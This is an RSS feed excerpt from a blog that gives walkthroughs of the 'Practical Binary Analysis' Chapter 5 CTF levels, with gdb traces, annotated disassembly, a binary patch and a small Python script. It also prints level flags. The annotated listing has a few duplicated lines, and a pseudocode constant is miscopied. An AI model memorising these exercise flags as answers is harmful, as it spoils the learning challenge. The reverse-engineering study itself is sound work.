=&amp;gt; 0x400741:    cmp    %rbp,%rbx
=&amp;gt; 0x400744:    jne    0x400730
=&amp;gt; 0x400746:    add    $0x8,%rsp
=&amp;gt; 0x40074a:    pop    %rbx
=&amp;gt; 0x40074b:    pop    %rbp
=&amp;gt; 0x40074c:    pop    %r12
=&amp;gt; 0x40074e:    pop    %r13
=&amp;gt; 0x400750:    pop    %r14
=&amp;gt; 0x400752:    pop    %r15
=&amp;gt; 0x400754:    retq   
=&amp;gt; 0x400500:    sub    $0x8,%rsp
=&amp;gt; 0x400504:    mov    $0x400797,%edi
=&amp;gt; 0x400509:    callq  0x4004b0 &amp;lt;puts@plt&amp;gt;
=&amp;gt; 0x4004b0 &amp;lt;puts@plt&amp;gt;: jmpq   *0x200b62(%rip)        # 0x601018
=&amp;gt; 0x4004b6 &amp;lt;puts@plt+6&amp;gt;:       pushq  $0x0
=&amp;gt; 0x4004bb &amp;lt;puts@plt+11&amp;gt;:      jmpq   0x4004a0
=&amp;gt; 0x4004a0:    pushq  0x200b62(%rip)        # 0x601008
=&amp;gt; 0x4004a6:    jmpq   *0x200b64(%rip)        # 0x601010
=&amp;gt; 0x40050e:    mov    $0x1,%eax
=&amp;gt; 0x400513:    add    $0x8,%rsp
=&amp;gt; 0x400517:    retq   
=&amp;gt; 0x4005d0:    cmpb   $0x0,0x200a71(%rip)        # 0x601048
=&amp;gt; 0x4005d7:    jne    0x4005ea
=&amp;gt; 0x4005d9:    push   %rbp
=&amp;gt; 0x4005da:    mov    %rsp,%rbp
=&amp;gt; 0x4005dd:    callq  0x400550
=&amp;gt; 0x400550:    mov    $0x60104f,%eax
=&amp;gt; 0x400555:    push   %rbp
=&amp;gt; 0x400556:    sub    $0x601048,%rax
=&amp;gt; 0x40055c:    cmp    $0xe,%rax
=&amp;gt; 0x400560:    mov    %rsp,%rbp
=&amp;gt; 0x400563:    jbe    0x400580
=&amp;gt; 0x400580:    pop    %rbp
=&amp;gt; 0x400581:    retq   
=&amp;gt; 0x4005e2:    pop    %rbp
=&amp;gt; 0x4005e3:    movb   $0x1,0x200a5e(%rip)        # 0x601048
=&amp;gt; 0x4005ea:    repz retq 
=&amp;gt; 0x400764:    sub    $0x8,%rsp
=&amp;gt; 0x400768:    add    $0x8,%rsp
=&amp;gt; 0x40076c:    retq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Until 0x400500 there are all init instructions, then there are basically 3 instructions of the ‘main’ function and the rest
are all fini instructions.&lt;/p&gt;

&lt;p&gt;Cross referencing the trace of the execution with the disassembled binary, it is possible to create a primitive flow chart
and it is also possible to notice that a large chunk of instructions are completely unused.&lt;/p&gt;

&lt;p&gt;This chunk ranges from 0x4005fd to 0x4006ea.&lt;/p&gt;

&lt;p&gt;Having a look at the code, we can observe the following (commented) code.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  4005fd:       0f 1f 00                nopl   (%rax)
  400600:       b8 00 00 00 00          mov    $0x0,%eax
  400605:       48 85 c0                test   %rax,%rax
  400608:       74 f1                   je     4005fb &amp;lt;__printf_chk@plt+0x11b&amp;gt;
  40060a:       55                      push   %rbp
  40060b:       48 89 e5                mov    %rsp,%rbp
  40060e:       ff d0                   callq  *%rax
  400610:       5d                      pop    %rbp
  400611:       e9 7a ff ff ff          jmpq   400590 &amp;lt;__printf_chk@plt+0xb0&amp;gt;
  400616:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40061d:       00 00 00 
  # Save base pointer
  400620:       53                      push   %rbx
  # esi = 0x400774 (@40774 = &quot;key = %08x\n&quot;)
  400621:       be 74 07 40 00          mov    $0x400774,%esi
  # edi = 1
  400626:       bf 01 00 00 00          mov    $0x1,%edi
  # rsp = rsp - 48bytes = 0x7fffffffe370
  40062b:       48 83 ec 30             sub    $0x30,%rsp
  # rax = fs[0x28] ; rax = 0x375ec5c0cae7ab00 (stack canary)
  40062f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  400636:       00 00 
  # rsp+40bytes = 0x375ec5c0cae7ab00
  # 0x7fffffffe398: 0x00    0xab    0xe7    0xca    0xc0    0xc5    0x5e    0x37
  400638:       48 89 44 24 28          mov    %rax,0x28(%rsp)
  # eax = 0
  40063d:       31 c0                   xor    %eax,%eax
  # rax = 0x6223331533216010
  40063f:       48 b8 10 60 21 33 15    movabs $0x6223331533216010,%rax
  400646:       33 23 62 
  # rsp+32bytes = 0 (1 byte)
  # 0x7fffffffe390: 0x00 (string terminator)
  400649:       c6 44 24 20 00          movb   $0x0,0x20(%rsp)
  # rsp = 0x6223331533216010
  #0x7fffffffe370: 0x10    0x60    0x21    0x33    0x15    0x33    0x23    0x62
  40064e:       48 89 04 24             mov    %rax,(%rsp)
  # rax = 0x6675364134766545
  400652:       48 b8 45 65 76 34 41    movabs $0x6675364134766545,%rax
  400659:       36 75 66 
  # rsp + 8 = 0x6675364134766545
  40065c:       48 89 44 24 08          mov    %rax,0x8(%rsp)
  # rax = 0x6675364134766545
  400661:       48 b8 17 67 75 64 10    movabs $0x6570331064756717,%rax
  400668:       33 70 65 
  # rsp + 16 = 0x6675364134766545
  40066b:       48 89 44 24 10          mov    %rax,0x10(%rsp)
  # rax = 0x6671671162763518
  400670:       48 b8 18 35 76 62 11    movabs $0x6671671162763518,%rax
  400677:       67 71 66 
  # rsp + 24 = 0x6671671162763518
  40067a:       48 89 44 24 18          mov    %rax,0x18(%rsp)
  # At this point the encrypted flag is all in memory, split in 4 pieces
  # ebx = *0x400540 = 0x400500
  40067f:       8b 1c 25 40 05 40 00    mov    0x400540,%ebx
  # eax = 0
  400686:       31 c0                   xor    %eax,%eax
  # edx = 0x400500
  400688:       89 da                   mov    %ebx,%edx
  # printf(&quot;key = %08x\n&quot;, 0x400500) 
  40068a:       e8 51 fe ff ff          callq  4004e0 &amp;lt;__printf_chk@plt&amp;gt;
  # rdx = rsp + 32 (end of the key) = 0x7fffffffe390
  40068f:       48 8d 54 24 20          lea    0x20(%rsp),%rdx
  # rax = rsp (beginning of the key) = 0x7fffffffe370
  400694:       48 89 e0                mov    %rsp,%rax
  # NOP
  400697:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)
  40069e:       00 00 
  # *eax = *eax xor ebx; 4 bytes pointed by rax are XOR&apos;d with the key (0x400500)
  4006a0:       31 18                   xor    %ebx,(%rax)
  # eax += 4
  4006a2:       48 83 c0 04             add    $0x4,%rax
  # if rdx == rax (string is finished); done otherwise make this loop again. 
  # loop is executed 8 times
  4006a6:       48 39 d0                cmp    %rdx,%rax
  4006a9:       75 f5                   jne    4006a0 &amp;lt;__printf_chk@plt+0x1c0&amp;gt;
  # eax = 0
  4006ab:       31 c0                   xor    %eax,%eax
  # rdx = rsp = beginning of flag
  4006ad:       48 89 e2                mov    %rsp,%rdx
  # eax += 4
  4006a2:       48 83 c0 04             add    $0x4,%rax
  # if rdx == rax (string is finished); done otherwise make this loop again. 
  # loop is executed 8 times
  4006a6:       48 39 d0                cmp    %rdx,%rax
  4006a9:       75 f5                   jne    4006a0 &amp;lt;__printf_chk@plt+0x1c0&amp;gt;
  # eax = 0
  4006ab:       31 c0                   xor    %eax,%eax
  # rdx = rsp = beginning of flag
  4006ad:       48 89 e2                mov    %rsp,%rdx
  # esi = 0x400782
  # 0x400782:       &quot;decrypted flag = %s\n&quot;
  4006b0:       be 82 07 40 00          mov    $0x400782,%esi
  # edi = 1 (file pointer for stdout)
  4006b5:       bf 01 00 00 00          mov    $0x1,%edi
  # printf(&quot;decrypted flag = %s\n&quot;, 0x7fffffffe370)
  4006ba:       e8 21 fe ff ff          callq  4004e0 &amp;lt;__printf_chk@plt&amp;gt;
  # eax = 0
  4006bf:       31 c0                   xor    %eax,%eax
  # rcx = rsp + 40
  4006c1:       48 8b 4c 24 28          mov    0x28(%rsp),%rcx
  # Check canary
  4006c6:       64 48 33 0c 25 28 00    xor    %fs:0x28,%rcx
  4006cd:       00 00 
  # If canary got changed, throw error
  4006cf:       75 06                   jne    4006d7 &amp;lt;__printf_chk@plt+0x1f7&amp;gt;
  # else: rsp = rsp + 48 (clean the stack)
  4006d1:       48 83 c4 30             add    $0x30,%rsp
  # rbx = saved rbx
  4006d5:       5b                      pop    %rbx
  # return
  4006d6:       c3                      retq   
  4006d7:       e8 e4 fd ff ff          callq  4004c0 &amp;lt;__stack_chk_fail@plt&amp;gt;
  4006dc:       0f 1f 40 00             nopl   0x0(%rax)
  4006e0:       bf 97 07 40 00          mov    $0x400797,%edi
  4006e5:       e9 c6 fd ff ff          jmpq   4004b0 &amp;lt;puts@plt&amp;gt;
  4006ea:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In pseudocode the code above would be something on the lines of:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rsp = rsp-48
rsp[0-8]=0x6223331533216010
rsp[8-16]=0x6675364134766545
rsp[16-24]=0x6675364134766545
rsp[24-32]=0x6671671162763518
rsp[32]=0
ebx = *0x400540
printf(&quot;key = %08x\n&quot;, ebx)
for (i=0; i&amp;lt;32; i = i+8):
    rsp[i] = rsp[i] ^ ebx
printf(&quot;decrypted flag = %s\n&quot;, rsp)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In practice, first the ‘encrypted’ flag is laid in memory on the stack. Then the key is retrieved from 0x400540 address,
and then the flag is decryped XOR-ing the key with the encrypted flag.&lt;/p&gt;

&lt;p&gt;Address 0x400540 is part of what the ‘primitive flow chart’ calls entrypoint:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[1] 0000000000400520 .entry
  400520:       31 ed                   xor    %ebp,%ebp
  400522:       49 89 d1                mov    %rdx,%r9
  400525:       5e                      pop    %rsi
  400526:       48 89 e2                mov    %rsp,%rdx
  400529:       48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
  40052d:       50                      push   %rax
  40052e:       54                      push   %rsp
  40052f:       49 c7 c0 60 07 40 00    mov    $0x400760,%r8
  400536:       48 c7 c1 f0 06 40 00    mov    $0x4006f0,%rcx
  40053d:       48 c7 c7 --&amp;gt;00 05 40 00 &amp;lt;--    mov    $0x400500,%rdi
  400544:       e8 87 ff ff ff          callq  4004d0 &amp;lt;__libc_start_main@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At that address there is the 0x(00)400500 value, which is the address of the first instruction of our ‘main’ function.&lt;/p&gt;

&lt;p&gt;Trying to hijack the control flow with &lt;em&gt;gdb&lt;/em&gt; and manually passing control to the “unused” function leads to a corrupted flag.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) b *0x400500
Breakpoint 1 at 0x400500
(gdb) run
Starting program: /home/binary/code/chapter5/lvl5 

Breakpoint 1, 0x0000000000400500 in ?? ()
(gdb) set $rip=0x400620
(gdb) continue
Continuing.
key = 0x00400500
decrypted flag = ea36cbE`64A35fb5d60e06bb1f
[Inferior 1 (process 9855) exited normally]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, the “key” is 0x00400500 as expected, but cleary is not the correct one.&lt;/p&gt;

&lt;p&gt;Instead of abusing &lt;em&gt;gdb&lt;/em&gt; to redirect the ‘main’ to our unused function, we can let the code do i directly.&lt;/p&gt;

&lt;p&gt;We can see that instruction&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  40052f:       49 c7 c0 60 07 40 00    mov    $0x400760,%r8
  400536:       48 c7 c1 f0 06 40 00    mov    $0x4006f0,%rcx
  40053d:       48 c7 c7 00 05 40 00    mov    $0x400500,%rdi
  400544:       e8 87 ff ff ff          callq  4004d0 &amp;lt;__libc_start_main@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;prepare the arguments for the main function and pass control to it. If instead of 0x00400500 we make it call 0x400620
the ‘main’ function will now be automatically our ‘secret’ routine. This will not only pass control to the code that prints 
the flag, but will also change the key used to decrypt, as it will now be 0x400620.&lt;/p&gt;

&lt;p&gt;So let’s change&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;40053d:       48 c7 c7 00 05 40 00    mov    $0x400500,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;40053d:       48 c7 c7 20 06 40 00    mov    $0x400620,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now just run the binary:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./lvl5 
key &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00400620
decrypted flag &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0fa355cbec64a05f7a5d050e836b1a1f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The flag looks decrypted correctly this time, so we can use it to unlock the next level!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./oracle 0fa355cbec64a05f7a5d050e836b1a1f
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 5 completed, unlocked lvl6         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; to show a hint
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;p&gt;For any correction, feedback or question feel free to drop a mail to &lt;strong&gt;security&lt;/strong&gt;[at]coolbyte[dot]eu.&lt;/p&gt;
</description>
        <pubDate>Sat, 26 Jan 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/pba-lvl5/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/pba-lvl5/</guid>
        
        
      </item>
    
      <item>
        <title>Practical Binary Analysis - Chapter 5 CTF walkthrough levels 1-4</title>
        <description>&lt;p&gt;A few months ago I have started studying a wonderful book I bought some time ago: Practical Binary Analysis [&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;].&lt;/p&gt;

&lt;p&gt;First and foremost, I strongly recommend this book to whoever would like to approach the world of the Linux binary analysis, 
I honestly believe that it is very clear, very well structured, detailed and comprehensive.&lt;/p&gt;

&lt;p&gt;Now, why this post? Well, at the end of every chapter, this book has some exercises. In particular, the Chapter 5 focuses on
basic Linux binary analysis and the exercise for this chapter consists in solving a CTF-like challenge which consists of multiple levels.
For this, I did not find (luckily) any solution online, so I had to endure the frustration and try harder to solve each level.
The challenge is probably easy for anyone with a decent amount of experience in the field, but I believe that it might be
somewhat difficult for beginners. For this reason, I will write this post as a walkthrough for the levels in this CTF.&lt;/p&gt;
&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;The challenge can be found in the “binary” virtual machine that the author provides on the &lt;a href=&quot;https://practicalbinaryanalysis.com/&quot;&gt;book’s page&lt;/a&gt;.
In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/code/chapter5&lt;/code&gt; folder, there is one binary called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oracle&lt;/code&gt; which is used to input found flags and unlock new levels.&lt;/p&gt;

&lt;h3 id=&quot;level-1&quot;&gt;Level 1&lt;/h3&gt;

&lt;p&gt;The first level is the easiest: not because it is actually the easiest, but because it is solved in the book. The whole chapter uses
this level to present common tools such as &lt;em&gt;xxd&lt;/em&gt;, &lt;em&gt;gdb&lt;/em&gt;, &lt;em&gt;strace&lt;/em&gt;, &lt;em&gt;ltrace&lt;/em&gt; and &lt;em&gt;objdump&lt;/em&gt;. The first flag is written in the book,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;84b34c124b2ba5ca224af8e33b077e9e&lt;/code&gt;. You can unlock the lvl2 by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./oracle 84b34c124b2ba5ca224af8e33b077e9e&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;level-2&quot;&gt;Level 2&lt;/h3&gt;

&lt;p&gt;The binary created for the second level is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lvl2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is a standard ELF:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file lvl2 
lvl2: ELF 64-bit LSB executable, x86-64, version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SYSV&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;GNU/Linux 2.6.32, BuildID[sha1]&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;457d7940f6a73d6505db1f022071ee7368b67ce9, stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It is a 64-bit ELF and it is stripped.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ldd lvl2
        linux-vdso.so.1 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x00007ffc9cc58000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        libc.so.6 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; /lib/x86_64-linux-gnu/libc.so.6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x00007f2bce606000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        /lib64/ld-linux-x86-64.so.2 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x00007f2bce9d0000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All the dependencies for the linking are satisfied.&lt;/p&gt;

&lt;p&gt;Running it, it seems to spit out a random byte encoded in hexadecimal:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./lvl2
4f
binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./lvl2
f8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, the first thing that I personally did was to understand how big was the pool of the bytes generated.&lt;/p&gt;

&lt;p&gt;To do this, one way would be a simple script such as:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;gather_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;[+] %s/300&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;/home/binary/code/chapter5/lvl2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rstrip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;[+] Finished gathering outputs.&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;raw_list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gather_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;set_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;raw_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Obviously it is possible to do easily with bash as well. Running this script and checking the content of the set shows
that just 16 different bytes are output. This sounds reasonable as the flag for the lvl1 was 32 characters in hexadecimal.
All it is needed to be figured out is the order of these characters.&lt;/p&gt;

&lt;p&gt;To get an idea of what the program does, it is possible to use ltrace.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ltrace ./lvl2
__libc_start_main&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x400500, 1, 0x7ffe7d63b5c8, 0x400640 &amp;lt;unfinished ...&amp;gt;
&lt;span class=&quot;nb&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                                                                            &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 1547976179
srand&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x5c443df3, 0x7ffe7d63b5c8, 0x7ffe7d63b5d8, 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
rand&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7f618d7a9620, 0x7ffe7d63b4ac, 0x7f618d7a90a4, 0x7f618d7a911c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x1e1cf80
puts&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;03&quot;&lt;/span&gt;03
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                                                                         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 3
+++ exited &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;status 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that the binary calls &lt;em&gt;time&lt;/em&gt;, &lt;em&gt;srand&lt;/em&gt;, &lt;em&gt;rand&lt;/em&gt; and then &lt;em&gt;puts&lt;/em&gt;. It’s pretty obvious that it gets the current time,
uses this as a seed for the rand function, gets some random value and prints something to console.&lt;/p&gt;

&lt;p&gt;Disassembling the &lt;em&gt;.text&lt;/em&gt; section leads to the following assembly code:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/post4-1.png&quot; alt=&quot;Disassembly of .text section&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The key is therefore to understand what is there at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x601060&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For this we use gdb:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/8x 0x601060
0x601060:       0xc4    0x06    0x40    0x00    0x00    0x00    0x00    0x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that there is the address 0x4006c4, this is most likely the address of the beginning of the ‘array’, so let’s print
it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/16s 0x4006c4
0x4006c4:       &quot;03&quot;
0x4006c7:       &quot;4f&quot;
0x4006ca:       &quot;c4&quot;
0x4006cd:       &quot;f6&quot;
0x4006d0:       &quot;a5&quot;
0x4006d3:       &quot;36&quot;
0x4006d6:       &quot;f2&quot;
0x4006d9:       &quot;bf&quot;
0x4006dc:       &quot;74&quot;
0x4006df:       &quot;f8&quot;
0x4006e2:       &quot;d6&quot;
0x4006e5:       &quot;d3&quot;
0x4006e8:       &quot;81&quot;
